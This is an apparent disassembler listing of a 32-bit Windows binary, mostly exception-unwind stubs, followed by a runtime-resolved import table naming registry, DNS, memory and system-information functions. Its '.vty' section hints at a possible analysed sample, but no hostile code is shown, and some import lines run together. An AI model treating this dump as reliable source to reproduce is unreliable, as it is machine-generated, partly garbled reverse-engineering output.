loc_41AE6B:				; DATA XREF: sub_40D784+2o
					; sub_40D7C3+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-54h]
		xor	ecx, eax
		call	sub_410BCD
		mov	eax, offset dword_41F858
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AE86:				; DATA XREF: sub_4160A3+2o
		mov	edx, [esp+8]
		lea	eax, [edx+0Ch]
		mov	ecx, [edx-14h]
		xor	ecx, eax
		call	sub_410BCD
		mov	eax, offset dword_41FBD0
		jmp	sub_41088F

; =============== S U B	R O U T	I N E =======================================



sub_41AEA1	proc near		; CODE XREF: sub_412B12+14p
					; DATA XREF: sub_4015DEo
		mov	eax, offset dword_41FFE0
		jmp	sub_41088F
sub_41AEA1	endp

; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40D931
; ---------------------------------------------------------------------------


loc_41AEB3:				; DATA XREF: sub_401869o sub_401919o
		mov	eax, offset dword_42000C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AEBD:				; DATA XREF: .vty:0042003Co
		jmp	locret_401868
; ---------------------------------------------------------------------------


loc_41AEC2:				; DATA XREF: sub_40AC8Bo
		mov	eax, offset dword_42006C
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AED4:				; DATA XREF: .vty:0042009Co
		mov	ecx, [ebp+8]
		add	ecx, 1Ch
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AEDF:				; DATA XREF: sub_40772Bo
		mov	eax, offset dword_4200A0
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AEF1:				; DATA XREF: sub_407260o sub_407525o ...
		mov	eax, offset dword_4200CC
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AEFB:				; DATA XREF: sub_4070DEo
		mov	eax, offset dword_420124
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AF05:				; DATA XREF: sub_407078o
		mov	eax, offset dword_42017C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AF0F:				; DATA XREF: .vty:004201ACo
		jmp	locret_401868
; ---------------------------------------------------------------------------


loc_41AF14:				; DATA XREF: sub_4023B8o
		mov	eax, offset dword_4201DC
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		and	eax, 1
		jz	locret_41AF36
		and	dword ptr [ebp-14h], 0FFFFFFFEh
		mov	ecx, [ebp+8]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------

locret_41AF36:				; CODE XREF: .vty:0041AF24j
		retn
; ---------------------------------------------------------------------------


loc_41AF37:				; DATA XREF: sub_401B38o sub_40D228o
		mov	eax, offset dword_420208
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		and	eax, 1
		jz	locret_41AF59
		and	dword ptr [ebp-10h], 0FFFFFFFEh
		mov	ecx, [ebp+8]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------

locret_41AF59:				; CODE XREF: .vty:0041AF47j
		retn
; ---------------------------------------------------------------------------


loc_41AF5A:				; DATA XREF: sub_409441o sub_40D2A0o
		mov	eax, offset dword_420234
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AF64:				; DATA XREF: sub_40CB4Bo
		mov	eax, offset dword_42028C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AF6E:				; DATA XREF: sub_40CA70o
		mov	eax, offset dword_4202E4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AF80:				; DATA XREF: sub_40B3C2o
		mov	eax, offset dword_420344
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AF8A:				; DATA XREF: sub_40B35Eo
		mov	eax, offset dword_42039C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AF94:				; DATA XREF: sub_40B28Fo
		mov	eax, offset dword_4203F4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AFA6:				; DATA XREF: sub_401F07o sub_402979o ...
		mov	eax, offset dword_420420
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AFB8:				; DATA XREF: .vty:00420450o
		lea	ecx, [ebp-74h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AFC0:				; DATA XREF: .vty:00420458o
		lea	esi, [ebp-74h]
		jmp	sub_4072AA
; ---------------------------------------------------------------------------


loc_41AFC8:				; DATA XREF: sub_4095C0o
		mov	eax, offset dword_42045C
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41AFDA:				; DATA XREF: sub_409358o
		mov	eax, offset dword_420488
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AFE4:				; DATA XREF: sub_4072C2o
		mov	eax, offset dword_4204E0
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AFEE:				; DATA XREF: .vty:00420510o
		jmp	locret_401868
; ---------------------------------------------------------------------------


loc_41AFF3:				; DATA XREF: sub_406F3Co
		mov	eax, offset dword_420540
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41AFFD:				; DATA XREF: sub_406694o
		mov	eax, offset dword_420598
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+8]
		jmp	loc_4033BE

; =============== S U B	R O U T	I N E =======================================



sub_41B00F	proc near		; CODE XREF: sub_404B2B+BAp
					; DATA XREF: sub_404B2B+4o
		mov	eax, offset dword_4205C4
		jmp	sub_41088F
sub_41B00F	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B021:				; DATA XREF: .vty:004205F4o
		lea	ecx, [ebp-54h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B029:				; DATA XREF: sub_402E64o
		mov	eax, offset dword_4205F8
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-1Ch]
		call	sub_40DD8A
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; DATA XREF: .vty:00420628o
		mov	ecx, [ebp-1Ch]
		jmp	loc_40244B
; ---------------------------------------------------------------------------


loc_41B045:				; DATA XREF: sub_402AA0o
		mov	eax, offset dword_42062C
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		add	ecx, 4
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B05A:				; DATA XREF: .vty:0042065Co
		mov	ecx, [ebp+8]
		add	ecx, 20h
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		add	ecx, 3Ch
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		add	ecx, 58h
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 7Ch
		jmp	sub_405809
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 8Ch
		jmp	sub_40558B
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 98h
		jmp	sub_40558B
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 0A4h
		jmp	loc_4056B7
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 0D0h
		jmp	loc_40B63D
; ---------------------------------------------------------------------------


loc_41B0BC:				; DATA XREF: sub_402509o
		mov	eax, offset dword_420698
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	eax, dword_424E54
		and	eax, 0FFFFFFFEh
		mov	dword_424E54, eax
		retn
; ---------------------------------------------------------------------------


loc_41B0D4:				; DATA XREF: sub_4024A7o
		mov	eax, offset dword_4206C4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-830h]
		jmp	loc_401A40
; ---------------------------------------------------------------------------


loc_41B0E9:				; DATA XREF: sub_401989+Eo
		mov	eax, offset dword_4206F0
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B0FB:				; DATA XREF: sub_40D355o
		mov	eax, offset dword_42071C
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B10D:				; DATA XREF: sub_401A4Do sub_4093C0o ...
		mov	eax, offset dword_420748
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B117:				; DATA XREF: sub_40C844o
		mov	eax, offset dword_4207D4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	esi, [ebp-78h]
		jmp	sub_407598
; ---------------------------------------------------------------------------


loc_41B129:				; DATA XREF: sub_40C3E5o
		mov	eax, offset dword_420868
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B13B:				; DATA XREF: sub_40A246o
		mov	eax, offset dword_4208FC
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	esi, [ebp-4Ch]
		jmp	sub_4072AA
; ---------------------------------------------------------------------------


loc_41B14D:				; DATA XREF: sub_409E2Ao
		mov	eax, offset dword_420990
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		and	eax, 1
		jz	locret_41B16F
		and	dword ptr [ebp-14h], 0FFFFFFFEh
		mov	ecx, [ebp+8]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------

locret_41B16F:				; CODE XREF: .vty:0041B15Dj
		retn
; ---------------------------------------------------------------------------


loc_41B170:				; DATA XREF: .vty:004209C0o
		lea	ecx, [ebp-78h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B178:				; DATA XREF: .vty:004209C8o
		lea	ecx, [ebp-54h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	esi, [ebp-24h]
		jmp	loc_4056B7
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-78h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		and	eax, 2
		jz	locret_41B1A8
		and	dword ptr [ebp-14h], 0FFFFFFFDh
		lea	ecx, [ebp-78h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------

locret_41B1A8:				; CODE XREF: .vty:0041B196j
		retn
; ---------------------------------------------------------------------------


loc_41B1A9:				; DATA XREF: .vty:004209E8o
		lea	ecx, [ebp-78h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B1B1:				; DATA XREF: sub_4089E6o
		mov	eax, offset dword_4209EC
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	eax, [ebp-74h]
		jmp	sub_40CCB1
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B1DB:				; DATA XREF: sub_407E77o
		mov	eax, offset dword_420A30
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	eax, [ebp-74h]
		jmp	sub_40CCB1
; ---------------------------------------------------------------------------


loc_41B1ED:				; DATA XREF: .vty:00420A60o
		lea	ecx, [ebp-54h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-38h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B1FD:				; DATA XREF: sub_407949o
		mov	eax, offset dword_420A6C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B207:				; DATA XREF: sub_4075BCo
		mov	eax, offset dword_420AC4
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B211:				; DATA XREF: sub_407141o
		mov	eax, offset dword_420B1C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B21B:				; DATA XREF: sub_40674Eo
		mov	eax, offset dword_420B74
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		jmp	loc_405AD1
; ---------------------------------------------------------------------------


loc_41B22D:				; DATA XREF: .vty:00420BA4o
		mov	esi, [ebp+8]
		add	esi, 10h
		jmp	loc_405AD6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		add	ecx, 20h
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		add	ecx, 3Ch
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B24E:				; DATA XREF: sub_4065C8o
		mov	eax, offset dword_420BB8
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	eax, [ebp-6Ch]
		jmp	sub_40CCB1
; ---------------------------------------------------------------------------


loc_41B260:				; DATA XREF: .vty:00420BE8o
		lea	ecx, [ebp-4Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B270:				; DATA XREF: sub_403C76o
		mov	eax, offset dword_420BF4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B282:				; DATA XREF: .vty:00420C24o
		lea	ecx, [ebp-44h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B28A:				; DATA XREF: sub_403B47o
		mov	eax, offset dword_420C28
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	eax, [ebp-6Ch]
		jmp	sub_40CCB1
; ---------------------------------------------------------------------------


loc_41B29C:				; DATA XREF: .vty:00420C58o
		lea	ecx, [ebp-30h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-4Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B2AC:				; DATA XREF: sub_40399Bo
		mov	eax, offset dword_420C64
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B2BE:				; DATA XREF: sub_402BCFo sub_403151+Eo
		mov	eax, offset dword_420C90
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B2D8:				; DATA XREF: sub_40C028o
		mov	eax, offset dword_420CC4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-18h]
		call	sub_40DD8A
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-98h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	esi, [ebp-58h]
		jmp	loc_406BF3
; ---------------------------------------------------------------------------
		lea	esi, [ebp-7Ch]
		jmp	sub_407598
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0BCh]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B31A:				; DATA XREF: sub_40BDCDo
		mov	eax, offset dword_420D18
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	esi, [ebp-3Ch]
		jmp	loc_4056B7
; ---------------------------------------------------------------------------


loc_41B32C:				; DATA XREF: .vty:00420D48o
		lea	ecx, [ebp-2Ch]
		jmp	loc_4033BE

; =============== S U B	R O U T	I N E =======================================



SEH_40B49B	proc near		; DATA XREF: sub_40B49B+8o
		mov	eax, offset dword_420D4C
		jmp	sub_41088F
SEH_40B49B	endp

; ---------------------------------------------------------------------------


loc_41B33E:				; DATA XREF: sub_40B2EFo
		mov	eax, offset dword_420DA4
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B348:				; DATA XREF: .vty:00420DD4o
		jmp	locret_401868
; ---------------------------------------------------------------------------


loc_41B34D:				; DATA XREF: sub_40A86Co
		mov	eax, offset dword_420E04
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	eax, [ebp-28h]
		jmp	loc_4089C0
; ---------------------------------------------------------------------------


loc_41B35F:				; DATA XREF: .vty:00420E34o
		lea	eax, [ebp-34h]
		jmp	loc_4089C8
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	esi, [ebp-44h]
		jmp	loc_4056B7
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A8h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	edi, [ebp-0A8h]
		jmp	loc_4089D0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B3CD:				; DATA XREF: sub_408593o
		mov	eax, offset dword_420E98
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B3D7:				; DATA XREF: sub_407454o
		mov	eax, offset dword_420EF0
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		jmp	locret_401868
; ---------------------------------------------------------------------------


loc_41B3E6:				; DATA XREF: sub_406F12o sub_407365o ...
		mov	eax, offset dword_420F1C
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B3F0:				; DATA XREF: sub_406C3Bo
		mov	eax, offset dword_420F74
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B402:				; DATA XREF: .vty:00420FA4o
		lea	ecx, [ebp-70h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-50h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-8Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0D0h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B428:				; DATA XREF: sub_403E41o
		mov	eax, offset dword_420FC0
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-148h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B43D:				; DATA XREF: .vty:00420FF0o
		lea	ecx, [ebp-12Ch]
		jmp	loc_4033BE

; =============== S U B	R O U T	I N E =======================================



SEH_402F64	proc near		; DATA XREF: sub_402F64+8o
		mov	eax, offset dword_420FF4
		jmp	sub_41088F
SEH_402F64	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-48h]
		call	sub_40DD8A
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esi, [ebp-48h]
		add	esi, 1Ch
		jmp	loc_4056B7
; ---------------------------------------------------------------------------


loc_41B46F:				; DATA XREF: sub_40C10Eo
		mov	eax, offset dword_421030
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-80h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	esi, [ebp-90h]
		jmp	loc_4056B7
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B4AC:				; DATA XREF: sub_40BB2D+Eo
		mov	eax, offset dword_421084
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-60h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B4C6:				; DATA XREF: sub_40BA6Eo
		mov	eax, offset dword_4210B8
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	esi, [ebp-74h]
		jmp	loc_407B2B
; ---------------------------------------------------------------------------


loc_41B4D8:				; DATA XREF: sub_40B7A2o
		mov	eax, offset dword_4210E4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-74h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B4FA:				; DATA XREF: sub_40B642o
		mov	eax, offset dword_421120
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	edi, [ebp-40h]
		jmp	loc_4089D0
; ---------------------------------------------------------------------------


loc_41B50C:				; DATA XREF: sub_40A022o
		mov	eax, offset dword_4211B4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B51E:				; DATA XREF: .vty:004211E4o
		lea	ecx, [ebp-70h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DCh]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	esi, [ebp-0DCh]
		jmp	sub_4072AA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	esi, [ebp-48h]
		jmp	loc_4056B7
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0A4h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	edi, [ebp-0A4h]
		jmp	loc_4089D0
; ---------------------------------------------------------------------------


loc_41B578:				; DATA XREF: sub_4081BFo
		mov	eax, offset dword_421228
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	esi, [ebp-74h]
		jmp	loc_407B2B
; ---------------------------------------------------------------------------


loc_41B58A:				; DATA XREF: .vty:00421258o
		lea	ecx, [ebp-2Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-64h]
		jmp	loc_4033BE

; =============== S U B	R O U T	I N E =======================================



SEH_407C9A	proc near		; DATA XREF: sub_407784+8o
					; sub_407C9A+8o
		mov	eax, offset dword_42126C
		jmp	sub_41088F
SEH_407C9A	endp

; ---------------------------------------------------------------------------


loc_41B5AC:				; DATA XREF: sub_40765Fo
		mov	eax, offset dword_4212C4
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	edi, [ebp-90h]
		jmp	sub_405989
; ---------------------------------------------------------------------------


loc_41B5C1:				; DATA XREF: sub_405FB0o
		mov	eax, offset dword_421358
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	edi, [ebp+8]
		jmp	sub_405989
; ---------------------------------------------------------------------------


loc_41B5D3:				; DATA XREF: sub_405ADBo
		mov	eax, offset dword_421384
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		mov	esi, [ebp-10h]
		jmp	loc_405AD1
; ---------------------------------------------------------------------------


loc_41B5E5:				; DATA XREF: .vty:004213B4o
		mov	esi, [ebp-10h]
		add	esi, 10h
		jmp	loc_405AD6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 20h
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B5FB:				; DATA XREF: sub_40583Bo
		mov	eax, offset dword_4213C0
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-34h]
		jmp	loc_4033BE

; =============== S U B	R O U T	I N E =======================================



sub_41B60D	proc near		; CODE XREF: sub_411F7A+21p
					; sub_411F7A+50p
					; DATA XREF: ...
		mov	eax, offset dword_4213EC
		jmp	sub_41088F
sub_41B60D	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-44h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B627:				; DATA XREF: sub_40376Eo
		mov	eax, offset dword_421420
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-30h]
		jmp	loc_4033BE

; =============== S U B	R O U T	I N E =======================================



SEH_4033DA	proc near		; DATA XREF: sub_4033DA+8o sub_4048E7o
		mov	eax, offset dword_42144C
		jmp	sub_41088F
SEH_4033DA	endp

; ---------------------------------------------------------------------------
		lea	ecx, [ebp-60h]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	loc_4033BE
; ---------------------------------------------------------------------------


loc_41B65B:				; DATA XREF: sub_405089o
		mov	eax, offset dword_4214BC
		jmp	sub_41088F
; ---------------------------------------------------------------------------
		lea	edi, [ebp-134h]
		jmp	sub_40260A
; ---------------------------------------------------------------------------


loc_41B670:				; DATA XREF: sub_402E1Fo
		mov	eax, offset dword_4214E8
		jmp	sub_41088F
; ---------------------------------------------------------------------------


loc_41B67A:				; DATA XREF: sub_401156+34o
		push	0
		push	1
		mov	ecx, offset dword_424E84
		call	sub_4013C4
		retn
; ---------------------------------------------------------------------------


loc_41B689:				; DATA XREF: sub_4024A7+47o
		push	esi
		mov	esi, offset dword_424E70
		call	sub_401CE8
		push	dword_424E74
		call	sub_40DD8A
		and	dword_424E74, 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B6A9:				; DATA XREF: sub_40DE68+40o
		mov	dword_424384, offset off_41C290
		mov	ecx, offset dword_424384
		jmp	sub_40D931
; ---------------------------------------------------------------------------
		align 10h
		dd 250h	dup(0)
dword_41C000	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_4010E1+64r ...
dword_41C004	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueA					; sub_4048E7+75r
dword_41C008	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_404B2B+18Er
dword_41C00C	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExA					; sub_4047AC+4Ar ...
dword_41C010	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_404B2B+332r
dword_41C014	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4047AC+93r ...
		dd 0
dword_41C01C	dd 76F25B4Dh	; resolved to->DNSAPI.DnsRecordListFreedword_41C020	dd 76F36C5Bh	; resolved to->DNSAPI.DnsQuery_A		align 8
dword_41C028	dd 7C81B18Fh	; resolved to->KERNEL32.GetConsoleOutputCPdword_41C02C	dd 7C835484h	; resolved to->KERNEL32.WriteConsoleWdword_41C030	dd 7C81CF25h	; resolved to->KERNEL32.WriteConsoleAdword_41C034	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_41ACB3+13r
dword_41C038	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_41C03C	dd 7C80A490h	; resolved to->KERNEL32.GetStringTypeW					; sub_41844E+11Cr
dword_41C040	dd 7C838A0Ch	; resolved to->KERNEL32.GetStringTypeAdword_41C044	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_41C048	dd 7C810B8Eh	; resolved to->KERNEL32.SetFilePointer					; sub_41AB51+2Dr
dword_41C04C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_417E83+134r ...
dword_41C050	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41720E+52r
dword_41C054	dd 7C8310F2h	; resolved to->KERNEL32.GlobalMemoryStatusdword_41C058	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCount					; sub_415C79+51r
dword_41C05C	dd 7C83039Bh	; resolved to->KERNEL32.GetDiskFreeSpaceExAdword_41C060	dd 7C80176Bh	; resolved to->KERNEL32.GetSystemTimedword_41C064	dd 7C82F7A0h	; resolved to->KERNEL32.FormatMessageAdword_41C068	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSection					; sub_402509+90r ...
dword_41C06C	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSection					; sub_401B38+CDr ...
dword_41C070	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSection					; sub_401B38+27r ...
